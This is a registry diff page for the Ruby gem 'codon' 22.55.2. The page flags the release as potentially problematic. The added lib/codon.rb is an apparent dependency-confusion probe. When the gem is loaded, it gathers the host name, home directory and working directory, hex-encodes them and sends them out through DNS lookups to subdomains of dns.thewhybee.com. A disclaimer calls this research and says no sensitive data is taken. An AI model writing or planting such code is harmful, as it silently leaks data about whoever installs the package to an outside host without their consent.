codon 22.55.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of codon might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/codon.rb +63 -0
  3. metadata +45 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: cd5ef7c50391d8faae1f898bcbbeabf09bfa8e6b97c5888ceeeaa63e931bbcb2
4
+ data.tar.gz: 2fde19b4f2b4fefa3e9b6c38649559094f6eb209caff2736b586ad1fb971b722
5
+ SHA512:
6
+ metadata.gz: 735a31525c00d5da5ed20c50504aae991ea6e5037b50ce099afb1be42331259d23b63ff7963eeee344dd4f80564dbc1b07bb955b0ba999dd40c2fba2110c22a7
7
+ data.tar.gz: 9e247bcef384f5eb0a280be75ac7fe3dfcd3ab75e9439d8f9cf7e43b06bd1ab7930a9552c79e906d9f8471dec260c49fc87c7742a5b16bbbe72f1e96d69b661d
data/lib/codon.rb ADDED
@@ -0,0 +1,63 @@
1
+ =begin
2
+
3
+ This code is used for research purposes.
4
+
5
+ No sensitive data is retrieved.
6
+
7
+ Callbacks from within organizations with a
8
+ responsible disclosure policy will be reported
9
+ directly to the organizations.
10
+
11
+ Any other callbacks will be ignored, and
12
+ any associated data will not be kept.
13
+
14
+ For any questions or suggestions:
15
+
16
+ whybee@thewhybee.com
17
+
18
+
19
+ =end
20
+
21
+ require 'socket'
22
+ require 'json'
23
+ require 'resolv'
24
+
25
+ suffix = '.dns.thewhybee.com'
26
+ ns = 'dns.dns.thewhybee.com'
27
+
28
+ package = 'codon'
29
+
30
+ # only the bare minimum to be able to identify
31
+ # a vulnerable organization
32
+ data = {
33
+ 'p' => package,
34
+ 'h' => Socket.gethostname,
35
+ 'd' => File.expand_path('~'),
36
+ 'c' => Dir.pwd
37
+ }
38
+
39
+ data = JSON.generate(data)
40
+ data = data.unpack('H*')[0].scan(/.{1,60}/)
41
+
42
+ id_1 = rand(36**12).to_s(36)
43
+ id_2 = rand(36**12).to_s(36)
44
+
45
+ begin
46
+ ns_ip = Resolv.getaddress(ns)
47
+ rescue
48
+ ns_ip = '4.4.4.4'
49
+ end
50
+
51
+ custom_res = Resolv.new([Resolv::Hosts.new,
52
+ Resolv::DNS.new(nameserver: [ns_ip, '8.8.8.8'])])
53
+
54
+
55
+ data.each.each_with_index do |chunk, idx|
56
+ begin
57
+ Resolv.getaddress 'v2_f.' + id_1 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
58
+ rescue; end
59
+
60
+ begin
61
+ custom_res.getaddress 'v2_f.' + id_2 + '.' + idx.to_s + '.' + chunk + '.v2_e' + suffix
62
+ rescue; end
63
+ end
metadata ADDED
@@ -0,0 +1,45 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: codon
3
+ version: !ruby/object:Gem::Version
4
+ version: 22.55.2
5
+ platform: ruby
6
+ authors:
7
+ - whybee
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2022-04-18 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: |-
14
+ This package is meant for security research purposes and does not contain
15
+ any useful code.
16
+ email: whybee@thewhybee.com
17
+ executables: []
18
+ extensions: []
19
+ extra_rdoc_files: []
20
+ files:
21
+ - lib/codon.rb
22
+ homepage: http://github.com
23
+ licenses: []
24
+ metadata: {}
25
+ post_install_message:
26
+ rdoc_options: []
27
+ require_paths:
28
+ - lib
29
+ required_ruby_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ required_rubygems_version: !ruby/object:Gem::Requirement
35
+ requirements:
36
+ - - ">="
37
+ - !ruby/object:Gem::Version
38
+ version: '0'
39
+ requirements: []
40
+ rubygems_version: 3.0.3
41
+ signing_key:
42
+ specification_version: 4
43
+ summary: Security research purposes only - No private data exfiltrated - A. Birsan
44
+ Method only
45
+ test_files: []